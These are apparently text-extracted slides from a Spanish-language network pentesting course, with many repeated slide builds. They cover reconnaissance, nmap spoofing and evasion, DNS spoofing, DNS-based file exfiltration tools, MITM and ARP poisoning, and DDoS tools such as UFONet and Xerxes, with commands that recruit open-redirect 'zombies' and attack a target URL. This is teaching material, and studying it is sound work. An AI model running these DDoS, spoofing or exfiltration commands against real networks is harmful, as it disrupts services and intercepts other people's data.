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WE HAVE A NET TO BURN

- Modulo 0:
   - Redes. ( Teoria y practica )
- Modulo 1 BASICS IN PENTEST:

Reconocimiento de redes & servicios
Entornos de red en seguridad.
DDOS 

- Modulo 2 NETWORKING AND PENTEST:
   - Ataques a redes
       - MITM ARP, DHCP, SSL & IPv6
       - Ataques a redes corporativas.
       - Hacking wifi.* (Mana…)

- Modulo 3 HACKING REDES - SISTEMAS OPERATIVOS:
   - Hacking Windows networks
   - Evasión y canales encubierto





LOVE IS IN THE NET
WUPS - Mod.0 I



MODULO 0 - LINUX, DEV AND NETWORKING

MODULO TAL        - Hacer:















MODULO 0 - NETWORKING

MODULO REDES

https://www.geeksforgeeks.org/computer-network-cheat-she
et/ 
https://www.exploit-db.com/docs/48120  

   - Hacer:
Protocolos.
Practica wireshark/tshark

https://loveisinthe.net/blog/2021/02/13/Tshark-uses-for-pentest 

- https://wiki.wireshark.org/DisplayFilters 

https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology  

https://book.hacktricks.xyz/generic-methodologies-and-re
sources/basic-forensic-methodology/pcap-inspection/wire
shark-tricks 

https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.exploit-db.com/docs/48120
https://loveisinthe.net/blog/2021/02/13/Tshark-uses-for-pentest
https://wiki.wireshark.org/DisplayFilters
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks


MODULO REDES

- https://wiki.wireshark.org/DisplayFilters 

kali@kali$ sudo tshark -f "ether proto \arp" -Tfields -e 

arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4 -e 

arp.dst.hw_mac

MODULO 0 - NETWORKING

https://wiki.wireshark.org/DisplayFilters


MODULO REDES
 
kali@kali$ sudo tshark  -f "src port 53" -n -T fields -e dns.qry.name -e dns.a

MODULO 0 - NETWORKING



https://github.com/swisskyrepo/PayloadsAllTheThings/ 

MODULO 0 - NETWORKING

https://github.com/swisskyrepo/PayloadsAllTheThings/


https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/
Windows%20-%20Download%20and%20Execute.md 

kali@kali :: ~/Downloads » sudo tshark -Tfields -Y "ntlmssp" -e 
"ntlmssp.auth.username" -e "ntlmssp.ntlmv2_respon│
se" -e "ntlmssp.ntlmserverchallenge" -e "ntlmssp.challenge.target_info"   

MODULO 0 - NETWORKING

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md




Hallo Nachbar
WUPS - Mod.1 Recognition Network



NETWORK RECON. - Reconocimiento de redes

- netcat -v -z -n -w 1 192.168.1.254 1-1023
- remote: nmap ( https://github.com/leonjza/awesome-nmap-grep )
- local: netdiscover ( https://github.com/netdiscover-scanner/netdiscover )

https://github.com/leonjza/awesome-nmap-grep
https://github.com/netdiscover-scanner/netdiscover


┌[jomoza@notyourdevice] [/dev/pts/3]
└[~]> sudo netdiscover -i wlan0

NETWORK RECON. - ARP :: Netdiscover



#use -Pn option if you're getting nothing in scan

$> sudo nmap -sV -p 443 192.168.50.124 

#> running banner grabbing of port 443

NETWORK RECON. - ARP :: Banner Grabbing



#use -Pn option if you're getting nothing in scan

$> sudo nmap -sV -p 443 192.168.50.124 

#running banner grabbing of port 443

POWERSHELL

$> Test-NetConnection -Port <port> <IP>   #powershell utility

$> 1..1024 | % {echo ((New-Object 
Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 
2>$null #automating port scan of first 1024 ports in powershell

NETWORK RECON. - ARP :: Banner Grabbing



NMAP → -sP, -PN, -sV, -sC, -iL, -oA

SCRIPTS: https://github.com/emadshanab/Nmap-NSE-scripts-collection  https://nmap.org/nsedoc/scripts/ 

EVARIONS…

- Proxying: nmap -sS -Pn --proxies Proxy_Url -F target.foo
- IP Spoofing: nmap -sS -Pn -F target.foo

- Nmap lets you spoof your MAC address using --spoof-mac <Mac_Address>. 

NETWORK RECON. I’m not Strobe

https://github.com/emadshanab/Nmap-NSE-scripts-collection
https://nmap.org/nsedoc/scripts/


NETWORK RECON. I’m not Strobe



┌[jomoza@notyourdevice] 
[/dev/pts/3]
└[~]> sudo nmap 192.168.0.88

┌[jomoza@notyourdevice] 
[/dev/pts/3]
└[~]> sudo nmap -sP 192.168.0.1/24

NETWORK RECON. I’m not Strobe



- https://documentation.sailpoint.com/connectors/iqservice/hel
p/integrating_iqservice_admin/ports_used_with_ad.html 

- https://book.hacktricks.xyz/generic-methodologies-and-resou
rces/external-recon-methodology 

NETWORK RECON. I’m not Strobe

https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/ports_used_with_ad.html
https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/ports_used_with_ad.html
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

PING es una utilidad de red y un comando en 
sistemas operativos que se utiliza para verificar la 
accesibilidad de un dispositivo en una red y para 
medir el tiempo que tarda en recibir una respuesta de 
ese dispositivo. Básicamente, PING envía un paquete 
de datos a la dirección IP o el nombre de host 
especificado y espera una respuesta. Si recibe una 
respuesta, significa que el dispositivo de destino está 
activo y accesible en la red. PING también 
proporciona información sobre el tiempo que tarda en 
viajar ida y vuelta el paquete de datos, lo que se 
conoce como latencia.

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

El Protocolo de Mensajes de Control de Internet 
(ICMP, por sus siglas en inglés) es un protocolo de red 
que se utiliza junto con PING y otras utilidades de red. 
ICMP se utiliza para enviar mensajes de error y 
control en la red, así como para realizar pruebas de 
conectividad. Cuando realizas un PING, estás 
utilizando el protocolo ICMP para enviar paquetes de 
solicitud y recibir paquetes de respuesta.

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

El comando "traceroute" (o "tracert" en sistemas 
Windows) es otra herramienta de diagnóstico de red 
que se utiliza para determinar la ruta que toma un 
paquete de datos desde tu computadora hasta un 
destino específico en la red. Traceroute muestra una 
lista de todos los enrutadores o nodos intermedios a 
lo largo del camino y el tiempo que toma alcanzar 
cada uno de ellos. Esto te ayuda a identificar cuellos 
de botella, problemas de enrutamiento o retrasos en 
la red.

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#WHOIS (domain db os domains…)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

La principal diferencia entre PING y Traceroute es su 
propósito y cómo funcionan:

- PING: PING se utiliza para verificar la conectividad 
básica con un dispositivo en la red y medir la latencia. 
Muestra si el dispositivo de destino está activo y 
responde a las solicitudes. PING no muestra la ruta 
que sigue un paquete para llegar al destino.

- Traceroute: Traceroute se utiliza para rastrear la ruta 
que toma un paquete desde tu computadora hasta un 
destino en la red, mostrando todos los nodos 
intermedios en el camino. Es útil para identificar 
problemas de enrutamiento, averiguar dónde se 
producen retrasos y comprender la topología de la red 
en el camino hacia el destino.

NETWORK RECON. I’m not Strobe

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

NetBIOS (Sistema de Entrada/Salida de Búsqueda de Información de Red, por 
sus siglas en inglés) es un protocolo de comunicación de nivel de aplicación 
que se desarrolló originalmente por IBM y Sytek en la década de 1980 para 
permitir que las computadoras en una red local se comuniquen entre sí. 
Aunque NetBIOS fue una tecnología popular en su momento, en la actualidad, 
es menos común en redes modernas debido a la evolución de las tecnologías 
de red

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

Información de nombres y recursos: NetBIOS puede exponer información 
sobre los nombres de los dispositivos en la red, incluyendo nombres de 
servidores, impresoras y recursos compartidos. Esto puede ayudar a un 
atacante a identificar los servicios disponibles en la red.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

Información de nombres y recursos: NetBIOS puede exponer información 
sobre los nombres de los dispositivos en la red, incluyendo nombres de 
servidores, impresoras y recursos compartidos. Esto puede ayudar a un 
atacante a identificar los servicios disponibles en la red.

Vulnerabilidades de seguridad: En el pasado, NetBIOS ha tenido 
vulnerabilidades de seguridad significativas que podrían explotarse para 
obtener acceso no autorizado a sistemas o recursos en la red.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

Información de nombres y recursos: NetBIOS puede exponer información 
sobre los nombres de los dispositivos en la red, incluyendo nombres de 
servidores, impresoras y recursos compartidos. Esto puede ayudar a un 
atacante a identificar los servicios disponibles en la red.

Vulnerabilidades de seguridad: En el pasado, NetBIOS ha tenido 
vulnerabilidades de seguridad significativas que podrían explotarse para 
obtener acceso no autorizado a sistemas o recursos en la red.

Herramientas de exploración y reconocimiento: Existen herramientas y 
comandos que utilizan el protocolo NetBIOS para descubrir información sobre 
los sistemas en una red, como "nbtstat" en sistemas Windows.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

INTRODUCTION : SCAN BY PROTOCOLS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

● echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
● echo "127.0.0.1   domain.example.com" > dnsmasq.hosts 
● sudo dnsmasq -C dnsmasq.conf --no-daemon

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 
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INTRODUCTION : SCAN BY PROTOCOLS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network


#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
2. echo "127.0.0.1   domain.example.com" > dnsmasq.hosts 
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

https://github.com/iphelix/dnschef 

INTRODUCTION : SCAN BY PROTOCOLS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network
https://github.com/iphelix/dnschef


#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
2. echo "127.0.0.1   domain.example.com" > dnsmasq.hosts 
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

https://github.com/iphelix/dnschef 

https://github.com/IncideDigital/Mistica 

INTRODUCTION : SCAN BY PROTOCOLS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network
https://github.com/iphelix/dnschef
https://github.com/IncideDigital/Mistica


#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
2. echo "127.0.0.1   domain.example.com" > dnsmasq.hosts 
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network 

https://github.com/iphelix/dnschef 

https://github.com/IncideDigital/Mistica 

https://github.com/JoelGMSec/Invoke-DNSteal 

INTRODUCTION : SCAN BY PROTOCOLS

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network
https://github.com/iphelix/dnschef
https://github.com/IncideDigital/Mistica
https://github.com/JoelGMSec/Invoke-DNSteal


Se trata de un servidor DNS falso que permite extraer sigilosamente archivos de una máquina víctima a 
través de peticiones DNS.

INTRODUCTION : DNSTEAL - Convert Channels



https://github.com/m57/dnsteal 

Se trata de un servidor DNS falso que permite extraer sigilosamente archivos de una máquina víctima a 
través de peticiones DNS.

- Compatibilidad con varios archivos
- Compatible con compresión gzip
- Ahora admite la personalización de subdominios y bytes por subdominio y la longitud del nombre de archivo

INTRODUCTION : DNSTEAL - Convert Channels

https://github.com/m57/dnsteal


https://github.com/m57/dnsteal 

Se trata de un servidor DNS falso que permite extraer sigilosamente archivos de una máquina víctima a 
través de peticiones DNS.

- Compatibilidad con varios archivos
- Compatible con compresión gzip
- Ahora admite la personalización de subdominios y bytes por subdominio y la longitud del nombre de archivo

INTRODUCTION : DNSTEAL - Convert Channels

https://github.com/m57/dnsteal


INTRODUCTION : TRY HACK ME

NMAP 

https://www.vicarius.io/blog/advanced-nmap-uses-part-3-firewall-evasion 

https://www.vicarius.io/blog/advanced-nmap-uses-part-3-firewall-evasion


ENUM

FTP

SSH





INTRODUCTION : IPTABLES



$ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 21 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j DNAT --to-destination 10.0.0.4:1080
  

  

INTRODUCTION : IPTABLES



$ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 21 -j DNAT --to-destination 10.0.0.4:1080
  $ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j DNAT --to-destination 10.0.0.4:1080
  

  <# Esta regla enruta todo el tráfico saliente en el puerto 80 (HTTP) desde la 

interfaz eth0 a la IP del proxy SOCKS en 10.0.0.4 en el puerto 1080. Asegúrate de 

que la configuración de tu proxy SOCKS esté en su lugar.>

INTRODUCTION : IPTABLES



Un proxy es un servidor intermedio que actúa como intermediario entre un cliente y un servidor final. 
Su función principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del 
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propósitos, como mejorar la 
seguridad, el rendimiento o el acceso a recursos en línea.

INTRODUCTION : PROXY



Un proxy es un servidor intermedio que actúa como intermediario entre un cliente y un servidor final. 
Su función principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del 
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propósitos, como mejorar la 
seguridad, el rendimiento o el acceso a recursos en línea.

Un tipo de proxy muy común es el "proxy SOCKS" (abreviatura de "SOCKetS"), que permite a un cliente 
(generalmente un programa o una computadora) establecer una conexión a través de un servidor proxy. 
Esto puede usarse para ocultar la dirección IP real del cliente, acceder a contenido bloqueado 
geográficamente o para mejorar la seguridad en línea.

INTRODUCTION : PROXY



Un proxy es un servidor intermedio que actúa como intermediario entre un cliente y un servidor final. 
Su función principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del 
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propósitos, como mejorar la 
seguridad, el rendimiento o el acceso a recursos en línea.

Un tipo de proxy muy común es el "proxy SOCKS" (abreviatura de "SOCKetS"), que permite a un cliente 
(generalmente un programa o una computadora) establecer una conexión a través de un servidor proxy. 
Esto puede usarse para ocultar la dirección IP real del cliente, acceder a contenido bloqueado 
geográficamente o para mejorar la seguridad en línea.

- El comando SSH que mencionaste: "ssh -D <PUERTO> <IP>" se utiliza para configurar un proxy 
SOCKS utilizando SSH. Aquí está cómo funciona:

● <PUERTO> es el puerto en el que se configurará el proxy SOCKS en tu máquina local.
● <IP> es la dirección IP del servidor remoto (en este caso, un VPS) al que te estás conectando 

a través de SSH.

INTRODUCTION : PROXY



INTRODUCTION : PROXY AS BYPASS 

https://translate.google.co
m/translate?sl=en&tl=es&h
l=es&u=https://digitechfp.c
om&client=webapp 

https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp


INTRODUCTION : MORE IPTABLES



kali@kalihost$ iptables -A INPUT -s IP_A_BLOQUEAR -j DROP

Bloquear todo el tráfico entrante de una IP en concreto : 

Reemplaza IP_A_BLOQUEAR con la dirección IP que deseas 

bloquear. Esta regla evitará que cualquier tráfico entrante de 

esa IP acceda a tu servidor.

INTRODUCTION : MORE IPTABLES



EN NMAP

-sS: Esta es una opción que especifica la técnica de escaneo que se 

utilizará. En este caso, -sS representa el escaneo de tipo SYN (SYN Scan). 

El escaneo SYN es una técnica de escaneo de puertos que implica el envío de 

paquetes SYN (solicitud de inicio de una conexión) a los puertos del host 

de destino. Si se recibe una respuesta SYN/ACK (solicitud de inicio 

aceptada) del puerto, se considera que el puerto está abierto. Si se recibe 

un RST (restablecimiento de la conexión), se considera que el puerto está 

cerrado.



nmap -sS -T4 -S 192.168.1.79 -e eth0 192.168.1.78

Nuestro siguiente escaneo es donde vemos que tiene lugar el IP spoofing.  Lo que está sucediendo aquí es que estamos 
enviando paquetes a nuestra máquina de destino y ponemos en el paquete que estamos enviando una IP de origen de una 
máquina diferente.



nmap -sS -T4 -S 192.168.1.79 -e eth0 192.168.1.78
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-macspoof -source <SOURCE MAC> -iface <INTERFACE>

-ipspoof -source <SOURCE IP> <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>

INTRODUCTION : LIBS AND TOOLS

https://github.com/medpaf/hawk 

https://github.com/medpaf/hawk


-macspoof -source <SOURCE MAC> -iface <INTERFACE>

-ipspoof -source <SOURCE IP> <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>

-synflood -source <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>

-deauth -target <TARGET MAC> -gateway <GATEWAY MAC> -iface <INTERFACE>
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┌[jomoza@notyourdevice] [/dev/pts/2] [1]
└[~/Xerxes-1.4]> ls
build/ Headers/ main.cpp* useragents*
CMakeLists.txt* installer.py* README.md* XerxesTheGreat.jpg*
Dockerfile* LICENSE.md* Sources/
┌[jomoza@notyourdevice] [/dev/pts/2]
└[~/Xerxes-1.4]> cd build
┌[jomoza@notyourdevice] [/dev/pts/2]
└[~/Xerxes-1.4/build]> ls
build/ Dockerfile* useragents* Xerxes*
┌[jomoza@notyourdevice] [/dev/pts/2]
└[~/Xerxes-1.4/build]> ./Xerxes -h
Xerxes version 1.4 20231023 (Xerxes - Revised)
[ERROR]: You need to be root
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https://github.com/epsylon/ufonet 

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --test-all

UFONet - es un software libre, 
P2P y criptográfico -disruptive 
toolkit- que permite realizar 
ataques DoS y DDoS; en la Capa 
7 (APP/HTTP) mediante la 
explotación de vectores Open 
Redirect en sitios web de 
terceros para actuar como botnet 
y en la Capa3 (Red) abusando 
del protocolo.
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└[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --test-all

UFONet - es un software libre, 
P2P y criptográfico -disruptive 
toolkit- que permite realizar 
ataques DoS y DDoS; en la Capa 
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https://github.com/epsylon/ufonet 

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --help

What's the difference between: 'zombies', 'aliens', 'droids', 'ucavs'...?

 * Zombie: HTTP GET 'Open Redirect' bot  ex: 
https://ZOMBIE.com/check?uri=$TARGET
 * Droid: HTTP GET 'Open Redirect' bot with params  ex: 
https://ZOMBIE.COM/css-validator/validator?uri=$TARGET&profile=css3
 * Alien: HTTP POST 'Open Redirect' bot ex: 
https://ZOMBIE.com/analyze.html;$POST;url=$TARGET
 * Drone: HTTP 'Web Abuse' bot ex: https://www.isup.me/$TARGET
 * X-RPC: XML-RPC Vulnerability ex: https://ZOMBIE.COM/xmlrpc.php

https://github.com/epsylon/ufonet
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┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --help
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┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]>./ufonet -s 'proxy.php?url=' -v

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]>./ufonet --sd 'botnet/dorks.txt' 
--sa --threads 100
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s-avanzadas-en-google/ 
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https://github.com/epsylon/ufonet 

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~/Documents/TOOLS/MORE/ufonet]> ./ufonet -a 'https://target.scope' -r '1000' --no-purge 
--user-agent='AppleCoreMedia/1.0.0.20L563 (Apple TV; U; CPU OS 16_5 like Mac OS X; 
en_us)' --referer='http://xss.in/' --host='github.com'
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Un ataque "MITM" (Man-in-the-Middle) es un tipo de tecnica de seguridad ofensiva en el que un 
atacante se coloca deliberadamente entre dos partes que están tratando de comunicarse, 
interceptando y, a menudo, modificando la información que se intercambia entre ellas. Este tipo 
de ataque puede tener graves implicaciones para la seguridad de la red y la privacidad de las 
comunicaciones. En el contexto de una auditoría de seguridad de redes, el objetivo es identificar 
y mitigar posibles vulnerabilidades que podrían permitir que un atacante realice un ataque 
MITM.



MITM

Un ataque "MITM" (Man-in-the-Middle) es un tipo de tecnica de seguridad ofensiva en el que un 
atacante se coloca deliberadamente entre dos partes que están tratando de comunicarse, 
interceptando y, a menudo, modificando la información que se intercambia entre ellas. Este tipo 
de ataque puede tener graves implicaciones para la seguridad de la red y la privacidad de las 
comunicaciones. En el contexto de una auditoría de seguridad de redes, el objetivo es identificar 
y mitigar posibles vulnerabilidades que podrían permitir que un atacante realice un ataque 
MITM.

Supongamos que el auditor está realizando una auditoría en una red corporativa y desea evaluar la 
vulnerabilidad del tráfico entre un usuario (Usuario A) y el servidor de correo electrónico. El auditor identifica la 
dirección IP de Usuario A y el servidor de correo electrónico y ejecuta una herramienta como Ettercap o 
ARPspoof para enviar tramas ARP falsas que asocian su propia dirección MAC con la dirección IP de Usuario A.

Cuando Usuario A intenta comunicarse con el servidor de correo electrónico, el tráfico pasa a través del sistema 
del auditor. El auditor puede capturar y analizar el tráfico para demostrar cómo un atacante podría interceptar 
datos confidenciales, como credenciales de inicio de sesión o contenido de correo electrónico.



MITM

● ARP Spoofing (Intercepción ARP): Este es uno de los escenarios más comunes en un ataque MITM. El 
atacante envía tramas ARP falsas en la red para asociar su propia dirección MAC con la dirección IP de la 
víctima, lo que le permite interceptar y redirigir el tráfico destinado a la víctima.

● Intercepción de Tráfico HTTP: Un atacante puede interceptar el tráfico HTTP entre un usuario y un 
servidor web. Esto puede permitir la captura de credenciales de inicio de sesión y otros datos sensibles.
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● ARP Spoofing (Intercepción ARP): Este es uno de los escenarios más comunes en un ataque MITM. El 
atacante envía tramas ARP falsas en la red para asociar su propia dirección MAC con la dirección IP de la 
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● Intercepción de Tráfico HTTP: Un atacante puede interceptar el tráfico HTTP entre un usuario y un 
servidor web. Esto puede permitir la captura de credenciales de inicio de sesión y otros datos sensibles.

● SSL Stripping: Este ataque implica la eliminación forzada de la capa de seguridad SSL/TLS de las 
conexiones seguras, lo que permite que el atacante pueda acceder a la información transmitida de forma 
cifrada.

● DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las víctimas a 
sitios web maliciosos o falsificados



MITM

● ARP Spoofing (Intercepción ARP): Este es uno de los escenarios más comunes en un ataque MITM. El 
atacante envía tramas ARP falsas en la red para asociar su propia dirección MAC con la dirección IP de la 
víctima, lo que le permite interceptar y redirigir el tráfico destinado a la víctima.

● Intercepción de Tráfico HTTP: Un atacante puede interceptar el tráfico HTTP entre un usuario y un 
servidor web. Esto puede permitir la captura de credenciales de inicio de sesión y otros datos sensibles.

● SSL Stripping: Este ataque implica la eliminación forzada de la capa de seguridad SSL/TLS de las 
conexiones seguras, lo que permite que el atacante pueda acceder a la información transmitida de forma 
cifrada.

● DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las víctimas a 
sitios web maliciosos o falsificados

● Ataques a Redes Wi-Fi Abiertas: En redes Wi-Fi públicas o abiertas, un atacante puede configurar un punto 
de acceso Wi-Fi falso para interceptar el tráfico de los usuarios que se conectan a esa red.

● Ataques en Correos Electrónicos: En el contexto del correo electrónico, un atacante podría interceptar o 
manipular mensajes y archivos adjuntos en tránsito.



BASIC MITM - ARP SPOOFING
El ataque de ARP Spoofing (también conocido como envenenamiento ARP) es un tipo de ataque Man-in-the-Middle 
(MITM) que se centra en la manipulación del protocolo ARP (Address Resolution Protocol) en una red local. El objetivo 
principal del ataque de ARP Spoofing es redirigir o interceptar el tráfico de red entre dos dispositivos al hacer que las 
víctimas envíen su tráfico a través del atacante. Esto permite al atacante interceptar, modificar o reenviar el tráfico 
según sea necesario.
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BASIC MITM - ARP SPOOFING
El ataque de ARP Spoofing (también conocido como envenenamiento ARP) es un tipo de ataque Man-in-the-Middle 
(MITM) que se centra en la manipulación del protocolo ARP (Address Resolution Protocol) en una red local. El objetivo 
principal del ataque de ARP Spoofing es redirigir o interceptar el tráfico de red entre dos dispositivos al hacer que las 
víctimas envíen su tráfico a través del atacante. Esto permite al atacante interceptar, modificar o reenviar el tráfico 
según sea necesario.

Cómo funciona el ataque de ARP Spoofing:

 - Descubrimiento ARP: En una red local, los dispositivos utilizan el protocolo ARP para mapear direcciones IP a 
direcciones MAC. Los dispositivos envían solicitudes ARP para conocer la dirección MAC asociada a una dirección 
IP específica.

 - Envenenamiento ARP: El atacante inicia el ataque enviando respuestas ARP falsificadas a las víctimas. Estas 
respuestas ARP falsas asocian la dirección MAC del atacante con la dirección IP de la víctima. Como resultado, las 
víctimas creen que la dirección MAC del atacante es la dirección MAC correcta para la dirección IP de destino.

 - Redirección del tráfico: Una vez que las tablas ARP de las víctimas han sido envenenadas, cualquier tráfico 
destinado a la dirección IP de destino se envía al atacante en lugar del dispositivo legítimo. El atacante puede 
inspeccionar, modificar o reenviar el tráfico según sea necesario.
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       - Hacer:

Protocolos.

Practica wireshark/tshark

MITM Basico

┌[jomoza@notyourdevice] 
[/dev/pts/3]
└[~]> sudo ettercap -G
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       - Hacer:

Protocolos.

Practica wireshark/tshark

MITM Basico

┌[jomoza@notyourdevice] 
[/dev/pts/3]
└[~]> sudo ettercap -G



MODULO 0 - LINUX, DEV AND NETWORKING

MODULO REDES

https://www.geeksforgeeks.org/computer-network-cheat
-sheet/  

https://www.exploit-db.com/docs/48120  

       - Hacer:

Protocolos.

Practica wireshark/tshark

MITM Basico

https://www.geeksforgeeks.org/computer-network-cheat-sheet/
